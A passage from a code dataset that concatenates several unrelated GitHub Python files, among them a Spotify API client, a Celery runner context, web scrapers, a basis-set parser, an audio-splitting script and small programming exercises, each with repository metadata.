expires_in=response['expires_in'],\n created_at=time.time()\n )\n\n async def __aenter__(self):\n print('enter async context')\n await self.initialize_authentication(self.session)\n return self\n\n async def __aexit__(self, exc_type, exc, tb):\n pass\n\n async def __authenticate_using_credentials(self, session: ClientSession):\n url = 'https://accounts.spotify.com/api/token'\n params = {\n 'grant_type': 'client_credentials'\n }\n headers = {\n 'Authorization': 'Basic {}'.format(base64.b64encode('{}:{}'.format(self.client_id, self.client_secret).encode('utf-8')).decode('utf-8'))\n }\n try:\n async with session.post(url, data=params, headers=headers) as response:\n content = await response.json()\n return (url, 'OK', content)\n except Exception as e:\n print(e)\n return (url, 'ERROR', None)\n\n async def initialize_authentication(self, session: ClientSession) -> None:\n global spotify_access_token\n stored_token = self.__get_stored_token()\n\n if stored_token is None or stored_token.is_expired():\n if stored_token is None:\n print(\n 'No stored token found. Retrieving a new one using client credentials.')\n else:\n print(\n 'Stored token is expired. Retrieving a new one using client credentials.')\n\n (_, status, data) = await self.__authenticate_using_credentials(session)\n if status != 'OK':\n print('Failed to retrieve token.')\n return\n stored_token = SpotifyApi.StoredToken.from_response(data)\n self.__store_token(stored_token)\n print('Using new token {}'.format(stored_token.access_token))\n else:\n print('Using stored token: {}'.format(stored_token))\n\n self.access_token = stored_token.access_token\n\n def __get_stored_token(self) -> 'SpotifyApi.StoredToken':\n try:\n with open('token.json', 'r') as f:\n data = json.load(f)\n return SpotifyApi.StoredToken.from_stored_json(data)\n except:\n return None\n\n def __store_token(self, token: Union[dict, 'SpotifyApi.StoredToken']):\n with open('token.json', 'w') as f:\n if type(token) is SpotifyApi.StoredToken:\n token = token.__dict__\n\n json.dump(token, f)\n\n def __get_auth_header(self) -> dict:\n return {'Authorization': 'Bearer {}'.format(self.access_token)}\n\n async def fetch_all_categories(self, session: ClientSession, offset=0, limit=20, locale='en_EN'):\n url = 'https://api.spotify.com/v1/browse/categories?{}'.format(\n format_query(offset=offset, limit=limit, locale=locale))\n try:\n async with session.get(url, headers=({} | self.__get_auth_header())) as response:\n content = await response.json()\n return (url, 'OK', content['categories']['items'])\n except Exception as e:\n print(e)\n return (url, 'ERROR', None)\n\n async def fetch_all_playlists_in_category(self, session: ClientSession, category_id: str, offset=0, limit=20, country='US'):\n if category_id in self.cache['categories']:\n print(self.get_from_cache('categories', category_id))\n for playlist_id in [self.get_from_cache('playlists', playlist['id']) for playlist in self.get_from_cache('categories', category_id)]:\n print(self.get_from_cache('playlists', playlist_id))\n return (None, 'OK', [SpotifyApi.Playlist.from_dict(self.get_from_cache('playlists', playlist_id)) for playlist_id in self.get_from_cache('categories', category_id)])\n\n url = 'https://api.spotify.com/v1/browse/categories/{}/playlists?{}'.format(\n category_id, format_query(offset=offset, limit=limit, country=country))\n try:\n async with session.get(url, headers=({} | self.__get_auth_header())) as response:\n content = await response.json()\n\n if content is None:\n return (url, 'ERROR', response.text())\n\n playlists = [SpotifyApi.Playlist.from_response(\n p) for p in content['playlists']['items']]\n\n self.save_to_cache('categories', category_id, [p.to_dict() for p in playlists])\n\n return (url, 'OK', playlists)\n except Exception as e:\n print(e)\n print(''.join(traceback.format_tb(e.__traceback__)))\n return (url, 'ERROR', None)\n\n async def fetch_all_tracks_in_playlist(self, session: ClientSession, playlist_id: str, offset=0, limit=100):\n if playlist_id in self.cache['playlists']:\n print('cache hit playlist')\n return (None, 'OK', [SpotifyApi.Track.from_dict(self.get_from_cache('tracks', track_id)) for track_id in self.get_from_cache('playlists', playlist_id)])\n\n url = 'https://api.spotify.com/v1/playlists/{}/tracks?{}'.format(\n playlist_id, format_query(offset=offset, limit=limit))\n try:\n async with session.get(url, headers=({} | self.__get_auth_header())) as response:\n content = await response.json()\n\n if content is None:\n return (url, 'ERROR', response.text())\n\n tracks = [SpotifyApi.Track.from_response(a['track']) for a in content['items']]\n\n for track in tracks:\n for i in range(len(track.artists)):\n artist = track.artists[i]\n if artist.id in self.cache['artists']:\n track.artists[i] = self.cache['artists'][artist.id]\n else:\n (_, _, newArtist) = await self.fetch_artist(session, artist.id)\n artistObject = SpotifyApi.Artist.from_response(newArtist)\n artistObject.genres = newArtist['genres']\n self.cache['artists'][artist.id] = artistObject\n track.artists[i] = self.cache['artists'][artist.id]\n\n for track in tracks:\n self.save_to_cache('tracks', track.id, track.to_dict())\n\n self.save_to_cache('playlists', playlist_id, [track.id for track in tracks])\n\n return (url, 'OK', tracks)\n\n except Exception as e:\n print(e)\n print(''.join(traceback.format_tb(e.__traceback__)))\n return (url, 'ERROR', None)\n\n async def fetch_track(self, session: ClientSession, id: str):\n url = 'https://api.spotify.com/v1/tracks/{}'.format(id)\n try:\n async with session.get(url, headers=({} | self.__get_auth_header())) as response:\n content = await response.json()\n return (url, 'OK', content)\n except Exception as e:\n print(e)\n print(''.join(traceback.format_tb(e.__traceback__)))\n return (url, 'ERROR', None)\n\n async def fetch_many_tracks(self, session: ClientSession, ids: MutableSequence[str]):\n if len(ids) == 0:\n return []\n elif len(ids) > 50:\n print('Warning: You passed more than 50 ids. Only the first 50 will be used.')\n ids = ids[:50]\n\n url = 'https://api.spotify.com/v1/tracks'\n params = {\n 'ids': ','.join(list(filter(lambda id: id not in self.cache['tracks'] ,ids)))\n }\n try:\n async with session.get(url, params=params, headers=({} | self.__get_auth_header())) as response:\n content = await response.json()\n tracks = [SpotifyApi.Track.from_response(a) for a in content['tracks']]\n print('am i even here? wtf')\n for track in tracks:\n print('but here though')\n for i in range(len(track.artists_ids)):\n print('here please')\n artist = track.artists_ids[i]\n if artist.id in self.cache['artists']:\n track.artists_ids[i] = self.cache['artists'][artist.id]\n else:\n (_, _, newArtist) = await self.fetch_artist(session, artist.id)\n self.cache['artists'][artist.id] = newArtist\n track.artists_ids[i] = self.cache['artists'][artist.id]\n\n self.cache['tracks'][track.id] = track\n\n return (url, 'OK', [self.cache['tracks'][track_id] for track_id in ids])\n except Exception as e:\n print(e)\n print(''.join(traceback.format_tb(e.__traceback__)))\n return (url, 'ERROR', None)\n\n async def fetch_artist(self, session: ClientSession, id: str):\n url = 'https://api.spotify.com/v1/artists/{}'.format(id)\n try:\n async with session.get(url, headers=({} | self.__get_auth_header())) as response:\n content = await response.json()\n return (url, 'OK', content)\n except Exception as e:\n print(e)\n return (url, 'ERROR', None)\n\n async def fetch_many_artists(self, session: ClientSession, ids: MutableSequence[str]):\n if len(ids) == 0:\n return (None, 'OK', [])\n elif len(ids) > 50:\n print('Warning: You passed more than 50 ids. Only the first 50 will be used.')\n ids = ids[:50]\n\n ids_to_fetch = list(filter(lambda id: id not in self.cache['artists'], ids))\n\n if ids_to_fetch == []:\n return (None, 'OK', [SpotifyApi.Artist.from_dict(self.get_from_cache('artists', id)) for id in ids])\n\n url = 'https://api.spotify.com/v1/artists'\n params = {\n 'ids': ','.join(ids_to_fetch)\n }\n try:\n async with session.get(url, params=params, headers=({} | self.__get_auth_header())) as response:\n content = await response.json()\n\n if content is None:\n print(response)\n return (url, 'ERROR', response.text())\n\n artists = [SpotifyApi.Artist.from_response(a) for a in content['artists']]\n\n for artist in artists:\n self.save_to_cache('artists', artist.id, artist.to_dict())\n\n return (url, 'OK', [SpotifyApi.Artist.from_dict(self.get_from_cache('artists', id)) for id in ids])\n except Exception as e:\n print(e)\n print(''.join(traceback.format_tb(e.__traceback__)))\n return (url, 'ERROR', None)\n\n async def fetch_audio_analysis(self, session: ClientSession, id: str):\n url = 'https://api.spotify.com/v1/audio-analysis/{}'.format(id)\n try:\n async with session.get(url, headers=({} | self.__get_auth_header())) as response:\n content = await response.json()\n return (url, 'OK', content)\n except Exception as e:\n print(e)\n print(''.join(traceback.format_tb(e.__traceback__)))\n return (url, 'ERROR', None)\n\n async def fetch_audio_features(self, session: ClientSession, id: str):\n url = 'https://api.spotify.com/v1/audio-features/{}'.format(id)\n try:\n async with session.get(url, headers=({} | self.__get_auth_header())) as response:\n content = await response.json()\n\n if content is None:\n print(response.status)\n return (url, 'ERROR', response.text())\n\n return (url, 'OK', content)\n except Exception as e:\n print(e)\n return (url, 'ERROR', None)\n\n async def fetch_audio_features_for_tracks(self, session: ClientSession, ids: MutableSequence[str]):\n if len(ids) == 0:\n return []\n elif len(ids) > 100:\n print(\n 'Warning: You passed more than 100 ids. Only the first 100 will be used.')\n ids = ids[:100]\n\n ids_to_fetch = list(filter(lambda id: id not in self.cache['audio_features'], ids))\n\n if ids_to_fetch == []:\n return (None, 'OK', [SpotifyApi.AudioFeatures.from_dict(self.get_from_cache('audio_features', id)) for id in ids])\n\n url = 'https://api.spotify.com/v1/audio-features'\n params = {\n 'ids': ','.join(ids_to_fetch)\n }\n try:\n async with session.get(url, params=params, headers=({} | self.__get_auth_header())) as response:\n content = await response.json()\n features = [SpotifyApi.AudioFeatures.from_response(f) for f in content['audio_features']]\n\n for feature in features:\n self.save_to_cache('audio_features', feature.track_id, feature.to_dict())\n\n return (url, 'OK', [SpotifyApi.AudioFeatures.from_dict(self.get_from_cache('audio_features', id)) for id in ids])\n except Exception as e:\n print(e)\n print(''.join(traceback.format_tb(e.__traceback__)))\n return (url, 'ERROR', None)\n","repo_name":"michaeldraga/us-music-recommendation-system","sub_path":"data-collection/SpotifyApi.py","file_name":"SpotifyApi.py","file_ext":"py","file_size_in_byte":28680,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"38566189144","text":"# (c) 2016, Hao Feng \n\nimport os\nimport os.path\nimport logging\nimport multiprocessing\n\nimport redis\nimport celery\n\nfrom exe.exc import ConfigError, ExecutorPrepareError, TaskNotSupportedError\nfrom exe.task import TaskRunnerPrototype, TASKRUNNERS\nfrom exe.executor import ExecutorPrototype, EXECUTORS\nfrom exe.utils.err import excinst\nfrom exe.utils.cfg import CONF, ModuleOpts\nfrom exe.utils.loader import PluginLoader\n\n\nLOG = logging.getLogger(__name__)\n\n\n## Consts ##\nRUNNER_DEFAULT_CONF = {\n 'redis_url' : \"redis://localhost\",\n 'broker_url' : \"amqp://guest:guest@localhost:5672//\",\n 'executor' : \"ansible\",\n 'modules' : os.path.join(os.getcwd(), \"modules\"),\n 'concurrency' : multiprocessing.cpu_count(),\n 'timeout' : 0 # TODO: executor timeout\n}\n\n\nclass Context(celery.Task):\n \"\"\" Context object that provide some runtime context for each runner.\n\n These context including Configuration, RedisAccess, and CeleryApp\n for both runner and endpoint handler object.\n\n All Runner classes should be a subclass of this class with thier\n own ``__RUNNER_NAME__`` and ``__RUNNER_MUTEX_REQUIRED__`` attribute.\n \"\"\"\n\n __RUNNER_NAME__ = None\n __RUNNER_MUTEX_REQUIRED__ = False\n\n def __init__(self):\n \"\"\" Initialize Context for each Runner, which provide some context data\n like config infomations or plugins.\n \n When celery worker starts, the ``Context`` object will be created\n by celery worker, and initialize the runner instances before invoke\n ``__init__`` of ``CeleryWorkerInit``.\n\n Which means the ``cfgread`` has not yet invoked and ``CONF`` struct\n will be empty here.\n\n That why nothing initialized here until they got accessed.\n \"\"\"\n self._cfg = None # runner config\n self._rpool = None # redis connection pool\n self._timeout = None # executor timeout opts\n self._concurrency = None # executor concurrency opts\n\n self._task_plugins = None\n self._executor_plugin = None\n self._executor_plugin_opts = None\n\n @property\n def cfg(self):\n \"\"\" Configuration context access for runner and celery. \"\"\"\n if self._cfg == None:\n try:\n self._cfg = CONF.runner\n self._cfg.merge(RUNNER_DEFAULT_CONF)\n LOG.info(\"configuration of loaded & merged\")\n except ConfigError:\n self._cfg = ModuleOpts(\"\", RUNNER_DEFAULT_CONF)\n LOG.info(\"no configuration found for , \"\n \"load default options\")\n return self._cfg\n\n @property\n def concurrency(self):\n \"\"\" Concurrency setting for executor of runner. \"\"\"\n if self._concurrency == None:\n self._concurrency = self._cfg.concurrency\n LOG.info(\"executor concurrency setting of loaded, \"\n \"value is <{0}>\".format(self._concurrency))\n return self._concurrency\n\n @property\n def timeout(self):\n \"\"\" Timeout setting for exector of runner. \"\"\"\n if self._timeout == None:\n self._timeout = self._cfg.timeout\n LOG.info(\"executor timeout setting of loaded, \"\n \"value is {0}\".format(self._timeout))\n return self._timeout\n\n @property\n def runner_name(self):\n \"\"\" For runner subclass get their own name. \"\"\"\n return self.__RUNNER_NAME__\n\n @property\n def runner_mutex(self):\n \"\"\" For runner subclass get their own mutex attr. \"\"\"\n return self.__RUNNER_MUTEX_REQUIRED__\n\n @property\n def redis(self):\n \"\"\" For runner subclass redis access. \"\"\"\n if not self._rpool:\n # https://github.com/andymccurdy/redis-py/issues/463#issuecomment-41229918\n self._rpool = redis.ConnectionPool.from_url(\n url=self.cfg.redis_url, decode_responses=True)\n LOG.info(\"redis connection pool <{0}> created\".format(self._rpool))\n return redis.Redis(connection_pool=self._rpool)\n\n @property\n def task_plugins(self):\n \"\"\" For runner subclass access task runner plugin(s). \"\"\"\n if self._task_plugins == None:\n self._task_plugins = []\n plugins = PluginLoader(\n TaskRunnerPrototype, self.cfg.modules).plugins\n plugins += TASKRUNNERS\n for tp in plugins:\n self._task_plugins.append(tp)\n LOG.info(\"total <{0}> task runner plugins loaded via \"\n \"PluginLoader\".format(len(plugins)))\n return self._task_plugins\n\n def task_plugin(self, tasktype):\n \"\"\" For runner subclass access task runner plugin. \"\"\"\n for tp in self.task_plugins:\n if tp.runner_type() == tasktype:\n return tp\n return None\n\n def executor(self, targets=[]):\n \"\"\" For runner subclass access executor plugin. \"\"\"\n if self._executor_plugin == None:\n plugins = PluginLoader(ExecutorPrototype, self.cfg.modules).plugins\n plugins += EXECUTORS\n for EXECUTOR in plugins:\n if EXECUTOR.name() == self.cfg.executor:\n self._executor_plugin = EXECUTOR\n LOG.info(\"using executor: <{0}>\".format(EXECUTOR.name()))\n break\n if self._executor_plugin == None:\n raise ConfigError(\"executor plugin <{0}> could not \"\n \"be loaded\".format(self.cfg.executor))\n\n if self._executor_plugin_opts == None:\n try:\n self._executor_plugin_opts = CONF.module(self.cfg.executor)\n LOG.info(\"executor plugin opts of <{0}> loaded, \"\n \"content was <{1}>\".format(self.cfg.executor,\n self._executor_plugin_opts.dict_opts))\n except ConfigError:\n self._executor_plugin_opts = {}\n LOG.warning(\"no executor opts configuration founded for \"\n \"plugin <0>\".format(self.cfg.executor))\n try:\n return self._executor_plugin(\n targets, timeout=self.timeout, concurrency=self.concurrency,\n **self._executor_plugin_opts.dict_opts)\n except TypeError:\n raise ExecutorPrepareError(\"{0} bad executor\"\n \" implementate\".format(excinst()))\n","repo_name":"whisperaven/0ops.exed","sub_path":"exe/runner/context.py","file_name":"context.py","file_ext":"py","file_size_in_byte":6526,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"32"} +{"seq_id":"36897315835","text":"num = int(input('Enter a number: '))\na = b = 1\nwhile True:\n c = a + b\n if c > num:\n print (f'{c} is the next bigger fibonacci number.')\n break\n else:\n a = b\n b = c","repo_name":"Musnik52/pyCodeBasement","sub_path":"begginer's code/fibonacci2bigger.py","file_name":"fibonacci2bigger.py","file_ext":"py","file_size_in_byte":200,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"5419328487","text":"import numpy as np\nimport pickle\n\n\nclass BasisSet():\n \"\"\"\n This object contains the Basis Set data of the molecule\n \"\"\"\n\n def __init__(self,\n basis_set_name,\n atomic_numbers,\n atomic_symbols,\n shell_type,\n n_primitives,\n atom_map,\n p_exponents,\n c_coefficients,\n p_c_coefficients):\n\n \"\"\"\n :param basis_set_name: the name of basis set\n :param atomic_numbers: atomic numbers\n :param atomic_symbols: the symbols\n :param shell_type: types of shell (check typeList)\n :param n_primitives: number of primitives\n :param atom_map: map shell - atom\n :param p_exponents: exponents of basis functions\n :param c_coefficients: coefficients of basis functions\n :param p_c_coefficients: coefficients of P functions in SP shells\n :return:\n \"\"\"\n\n typeList = {'0': ['s', 1],\n '1': ['p', 3],\n '2': ['d', 6],\n '3': ['f', 10],\n '-1': ['sp', 4],\n '-2': ['d_', 5],\n '-3': ['f_', 7]}\n\n atomic_numbers = [int(an) for an in atomic_numbers]\n atom_map = np.array(atom_map, dtype=int)\n # print(atom_map)\n self._basis_set = {'name': basis_set_name,\n 'primitive_type': 'gaussian'}\n\n shell_type_index = [0] + np.cumsum([typeList['{}'.format(s)][1]\n for s in shell_type]).tolist()\n prim_from_shell_index = [0] + np.cumsum(np.array(n_primitives, dtype=int)).tolist()\n\n # print(shell_type_index)\n # print(prim_from_shell_index)\n\n atoms_data = []\n for iatom, atomic_number in enumerate(atomic_numbers):\n symbol = str(atomic_symbols[iatom])\n\n shell_from_atom_counts = np.unique(atom_map, return_counts=True)[1]\n shell_from_atom_index = np.unique(atom_map, return_index=True)[1]\n # print(shell_from_atom_counts)\n # print('atom_indexes', shell_from_atom_index)\n # print('atom_number', iatom)\n # print('shells index', shell_from_atom_index[iatom])\n # print('number of shells', shell_from_atom_counts[iatom])\n\n shells_data = []\n for ishell in range(shell_from_atom_counts[iatom]):\n st = typeList['{}'.format(shell_type[shell_from_atom_index[iatom] + ishell])]\n # print(st, ishell)\n ini_prim = prim_from_shell_index[shell_from_atom_index[iatom] + ishell]\n fin_prim = prim_from_shell_index[shell_from_atom_index[iatom] + ishell + 1]\n # print(ini_prim)\n # print(fin_prim)\n\n shells_data.append({\n 'shell_type': st[0],\n 'functions': st[1],\n 'p_exponents': p_exponents[ini_prim: fin_prim],\n 'con_coefficients': c_coefficients[ini_prim: fin_prim],\n 'p_con_coefficients': p_c_coefficients[ini_prim: fin_prim],\n })\n\n atoms_data.append({'shells': shells_data,\n 'symbol': symbol,\n 'atomic_number': atomic_number})\n\n self._basis_set['atoms'] = atoms_data\n\n def __hash__(self):\n return hash(pickle.dumps(self._basis_set, protocol=2))\n\n def __eq__(self, other):\n return hash(other) == hash(self)\n\n def get_dictionary(self):\n return self._basis_set\n\n def get_qc_input_txt(self):\n \"\"\"\n Return basis in plane text in the format of Q-chem/Gaussian input\n\n :return: the basis set\n \"\"\"\n\n basis_txt = ''\n\n for atom in self._basis_set['atoms']:\n basis_txt += atom['symbol'] + '\\n'\n for shell in atom['shells']:\n basis_txt += '{} {} {}\\n'.format(shell['shell_type'].upper(), len(shell['p_exponents']), 1.00)\n for p, c, pc in zip(shell['p_exponents'], shell['con_coefficients'], shell['p_con_coefficients']):\n if shell['shell_type'].upper() in ['SP']:\n basis_txt += '{:15.10e} {:15.10e} {:15.10e} \\n'.format(p, c, pc)\n else:\n basis_txt += '{:15.10e} {:15.10e} \\n'.format(p, c)\n\n basis_txt += '****\\n'\n return basis_txt\n","repo_name":"abelcarreras/qchem-parsers","sub_path":"qcparsers/abstractions/basis.py","file_name":"basis.py","file_ext":"py","file_size_in_byte":4484,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"8814471641","text":"#parse a text file with TextGrid format and export small chunks of wav files\n\nfrom pydub import AudioSegment\nfrom itertools import islice\nfrom textPreprocess import preprocess\nimport wave\nimport sys\n\n#extract the string inside double quote\ndef doit(text): \n import re\n matches=re.findall(r'\\\"(.+?)\\\"',text)\n return \",\".join(matches)\n\n#check if the number is float\ndef isfloat(value):\n try:\n float(value)\n return True\n except:\n return False\n\n#PROESSING BEGINS\nif len(sys.argv) != 5:\n\tprint(\"Parse a textgrid and Output related wav files.\"\n\t+ \"\\n\\nUsage: %s filename.TextGrid filename.txt originalAudio.wav outDirectory\\n\" % sys.argv[0])\n\tsys.exit(-1)\ntext = open(sys.argv[1], 'r')\n\n\n\n#Read the next line and return the number of words\n\n#Process the TextGrid\n\n#find signal keyword\nfor line in text:\n if \"item [2]\" in line:\n \tbreak;\n#skip useless lines\nnext_6_lines = list(islice(text, 6))\nprint(next_6_lines)\n\ntimestamps = []\nnext_3_lines = list(islice(text, 3))\nwhile next_3_lines:\n\t#chek if the valid entry\n\twords = next_3_lines[2].split()\n\tword = doit(words[2])\n\n\tif word[0].islower():\n\t\ttext.readline() #skip one line\n\t\tnext_3_lines = list(islice(text, 3))\n\t\tcontinue\n\n\t#add times to timestamps\n\twords = next_3_lines[0].split()\n\ttimestamps.append(words[2])\n\twords = next_3_lines[1].split()\n\ttimestamps.append(words[2])\n\ttext.readline()\n\tnext_3_lines = list(islice(text, 3))\n\nprint(\"TextGrid processed.\")\n\n\n\n#Process the script file\npreprocess(sys.argv[2])\nprint(\"txt processed.\")\n\n\n\n#Cut the audio according to the TextGrid and scripts\n\nsoundinpath = sys.argv[3] #wav file\nsoundoutpath = sys.argv[4] #output directory\n\ntxt = open(\"output.txt\")\naudio = AudioSegment.from_wav(soundinpath)\ntotal = 0\n#process line by line\nc = 0\nfor lines in txt.readlines():\n\twords = lines.split()\n\tprint()\n\tprint(\"The line processed is {}\".format(words))\n\tcount = len(words)\n\tprint(\"The number of words in the line is {}\".format(count))\n\tfor i in range(count): #number of words in each audio\n\t\tfor j in range(count-i): #start at a certain word\n\n\t\t\tstart_ms=float(timestamps[2*(j+total)])*1000\n\t\t\tprint(\"The start time is {}\".format(start_ms))\n\t\t\tend_ms=float(timestamps[2*(i+j+total)+1])*1000\n\t\t\tprint(\"The ending time is {}\".format(end_ms))\n\n\t\t\tsegment = audio[start_ms:end_ms]\n\t\t\tstring = ' '.join(words[j:i+j+1])\n\t\t\tprint(\"exporting... \"+string.lower()+\".wav\")\n\t\t\tsegment.export(soundoutpath+\"/\"+string.lower()+\".wav\")\n\n\ttotal += count\n\tif c==2:\n\t\tsys.exit(-1)\n\tc += 1\n\n\n\naudio = AudioSegment.from_wav(soundinpath)\nfor i in range(len(words)):\n\tstart_ms=float(timestamps[2*i])*1000\n\tend_ms=float(timestamps[2*i+1])*1000\n\n\tsegment = audio[start_ms:end_ms]\n\tif(words[i]!= \"sil\"):\n\t\t#print(\"exporting...\"+words[i].lower()+\".wav\")\n\t\tsegment.export(soundoutpath+\"/\"+words[i].lower()+\".wav\")\n\nprint(\"finished!\")\n#PROCESSED\n\n\n\n\n\n\n\n\n\n","repo_name":"MeiyiHe/ERSProject","sub_path":"old_progress/generateLib.py","file_name":"generateLib.py","file_ext":"py","file_size_in_byte":2848,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"74156638491","text":"'''\nCreated on 2016. 11. 2.\n\n@author: All\n'''\nfrom bs4 import BeautifulSoup \nfrom urllib.request import urlopen \n\nhtml = urlopen(\"http://naver.com\") \nsoup = BeautifulSoup(html.read(), \"lxml\") \n\nfor row in soup.find_all(\"ol\"):\n #print(row) \n for i in range(11):\n try: \n li = row.find_all(\"li\", attrs={\"value\":str(i)}) \n st1 = str(li).split(\">\")[1]\n st2 = st1.split(\"title=\")[1] #인터파크 따위의 인기검색어\n print(\"%d => %s\" % (i, st2)) \n except: \n print(\"--- 네이버 인기 검색어 ---\") \n","repo_name":"offbr/Python","sub_path":"pynetwork/pack/doc/beauti_ex2.py","file_name":"beauti_ex2.py","file_ext":"py","file_size_in_byte":580,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"2961626213","text":"#ABCDE(그래프)\n#다음 친구 관계를 가진 사람ABCDE이 존재하는 확인\n#즉 연결된 노드의 최대 개수가 5개이다. 이게 아니면 print(0) \n\n#dfs 이용\ndef dfs(idx,depth):\n global result\n visited[idx] = True\n #친구 관계가 4번 이상 연결되어 있다면\n if depth == 4:\n result = True\n return\n #친구 관계가 존재하는지 확인\n for i in relationship[idx]:\n #아직 방문하지 않았다면\n if not visited[i]:\n visited[i] = True\n #재귀적으로 수행\n dfs(i, depth + 1)\n #방문 표시 해제\n visited[i] = False\n\nn,m = map(int,input().split())\nrelationship = [[] for _ in range(n)]\n\n#입력값 받기\nfor _ in range(m):\n x,y = map(int,input().split())\n relationship[x].append(y)\n relationship[y].append(x)\n\n#방문 표시\nvisited =[False] * 2001\n\n#정답 변수 생성\nresult = False\n\n#0번부터 N-1번까지 확인하며\nfor i in range(n):\n #친구 관계 탐색\n dfs(i,0)\n visited[i] = False\n #친구 관계가 존재한다면\n if result:\n #탈출\n break\n\n#정답이 있다면 1출력\nif result:\n print(1)\nelse:\n print(0)\n","repo_name":"Hyun-jk/Algorithm","sub_path":"website/baekjoonAlgorithm/basic_level/13023.py","file_name":"13023.py","file_ext":"py","file_size_in_byte":1221,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"6754523437","text":"#Juan Pablo Andrade\n#8978239\n#03/02/2023\n#punto 1\nmatriz=[[11, 23, 76, 34, 11],\n [14, 30, 92, 30, 101],\n [12, 45, 58, 92, 22],\n [74, 56, 49, 56, 100],\n [99, 5, 28, 47, 99]]\n\ndef verificarDiagonales(matriz):\n x=len(matriz)\n for j in range(x):\n if matriz[j][j]!=matriz[j][x-j-1]:\n return False\n return True\ncoinciden=verificarDiagonales(matriz)\nprint(coinciden)\n\n\n#punto 2\ndef escapicua(lista):\n lista2=[]\n x=False\n for j in lista:\n lista2.insert (0, j)\n if lista==lista2:\n x=True\n print (x)\nescapicua([42,12,90,90,12,42])\n\n\n#punto 3A\ndef diferenciaListas(listaA, listaB):\n listac=[]\n for j in listaA:\n if listaA.count(j)>listaB.count(j) and j not in listac:\n for i in range(listaA.count(j)-listaB.count(j)):\n listac.append(j)\n return listac\n\nlistaA=[40, 10, 22, 12, 33, 33, 33]\nlistaB=[41, 22, 31, 15, 13, 12, 33, 19]\nlistac=diferenciaListas(listaA, listaB)\n\nprint(listac)\n\n\n#punto 3B\ndef comparacionListas():\n inicio=int(input())\n for i in range(inicio):\n lista1=[int(j) for j in input().split()]\n lista2=[int(j) for j in input().split()]\n diferencia=diferenciaListas(lista1, lista2)\n print(diferencia)\n\ncomparacionListas()\n\n\n#punto 4\ndef mostrarPrimos(num):\n print(\"Números primos entre 1 y\", num, \":\")\n primos=[]\n suma=[]\n for i in range(2, num + 1):\n if esPrimo(i):\n primos.append(i)\n if esPrimo(sumaPrimos(i)):\n suma.append(i)\n for i in range (len(primos)):\n if i == len(primos) -1:\n print(\"--> {}\".format(i))\n else:\n print(\"--> {},\".format(i))\n\n print(\"Números entre 1 y\", num, \"con suma de dígitos con valor primo:\")\n print(suma)\n\ndef esPrimo(i):\n if i<2:\n return False\n for j in range(2, int(i**0.5) + 1):\n if i%j == 0:\n return False\n return True\n\ndef sumaPrimos(i):\n suma=0\n while i>0:\n suma += i%10\n i= i//10\n return suma\nmostrarPrimos(100)\n\n\n#unto 5\ndef sumarValoresMatrizR(mat, par, j):\n if j == len(par):\n return 0\n a, b=par[j]\n suma=0\n if a in mat:\n for x, y in mat[a]:\n if b == x:\n suma =+ y\n return suma + sumarValoresMatrizR(mat, par, j + 1)\n\ndef sumarValoresMatriz(mat, par):\n return sumarValoresMatrizR(mat, par, 0)\n \ndispersa={0 : [(0, 1), (5, 4), (7, 5)],\n 1 : [(6, 4), (7, 7)],\n 2 : [(0, 2), (1, 2), (4, 9), (6, 1)],\n 4 : [(2, 8), (3, 1), (5, 7)],\n 6 : [(0, 3), (5, 6), (7, 2)],\n 7 : [(0, 4), (1, 4), (2, 7)],\n 8 : [(1, 9), (3, 8), (5, 7), (7, 6)]}\n\nprint(sumarValoresMatriz(dispersa, [(0, 0), (8, 3), (3, 5), (7, 2), (4, 3), (4,6)]))\n\n","repo_name":"juan161105/Estructura-de-datos","sub_path":"tarea1.py","file_name":"tarea1.py","file_ext":"py","file_size_in_byte":2781,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"38445039615","text":"from selenium import webdriver\nimport pandas as pd\n\ndf = pd.DataFrame()\nbrowser = webdriver.Chrome('/usr/local/bin/chromedriver')\nbrowser.get('http://scraping-for-beginner.herokuapp.com/ranking')\n\nelems_rankingBox = browser.find_elements_by_class_name('u_areaListRankingBox')\nelems = browser.find_elements_by_class_name('u_categoryTipsItem')\nelems_rank = browser.find_elements_by_class_name('u_rankBox')\n\ntitles = []\nfor elem_rankingBox in elems_rankingBox:\n elem_title = elem_rankingBox.find_element_by_class_name('u_title')\n title = elem_title.text.split('\\n')[1]\n titles.append(title)\n\n\nranks = []\nfor elem_rank in elems_rank:\n elem_rank = elem_rank.find_element_by_class_name('evaluateNumber')\n rank = float(elem_rank.text)\n ranks.append(rank)\n\n\ncategories = []\nfor elem in elems:\n elems_tip = elem.find_elements_by_class_name('is_rank')\n _ranks = []\n for elem_tip in elems_tip:\n rank = elem_tip.find_element_by_class_name('evaluateNumber')\n _ranks.append(float(rank.text))\n categories.append(_ranks)\n\ndf['観光地名'] = titles\ndf['総合評価'] = ranks\ndf_categories = pd.DataFrame(categories)\ndf_categories.columns = ['楽しさ', '人混みの多さ', '景色', 'アクセス']\ndf = pd.concat([df, df_categories], axis=1)\n\ndf.to_csv('観光地情報.csv', index=False)","repo_name":"oshikawatkm/scraping_practice","sub_path":"get_all_reviws.py","file_name":"get_all_reviws.py","file_ext":"py","file_size_in_byte":1322,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"14995303471","text":"\n'''\n\nHelping a small, rural town modernize its vote-counting process. \n(Up until now, Uncle Cleetus had been trustfully tallying them one-by-one, but unfortunately, his concentration isn't what it used to be. \n\nThere are two sets of data `election_data_1.csv` and `election_data_2.csv`. Each dataset is composed of three columns: \n`Voter ID`, `County`, and `Candidate`. \nThe task task is to create a Python script that analyzes the votes and calculates each of the following:\n\n* The total number of votes cast\n\n* A complete list of candidates who received votes\n\n* The percentage of votes each candidate won\n\n* The total number of votes each candidate won\n\n* The winner of the election based on popular vote.\n\n'''\n\n\n\n# Import the needy modules \n\nimport os \nimport csv\n\n# the file path \nfile_path = os.path.join('raw_data', 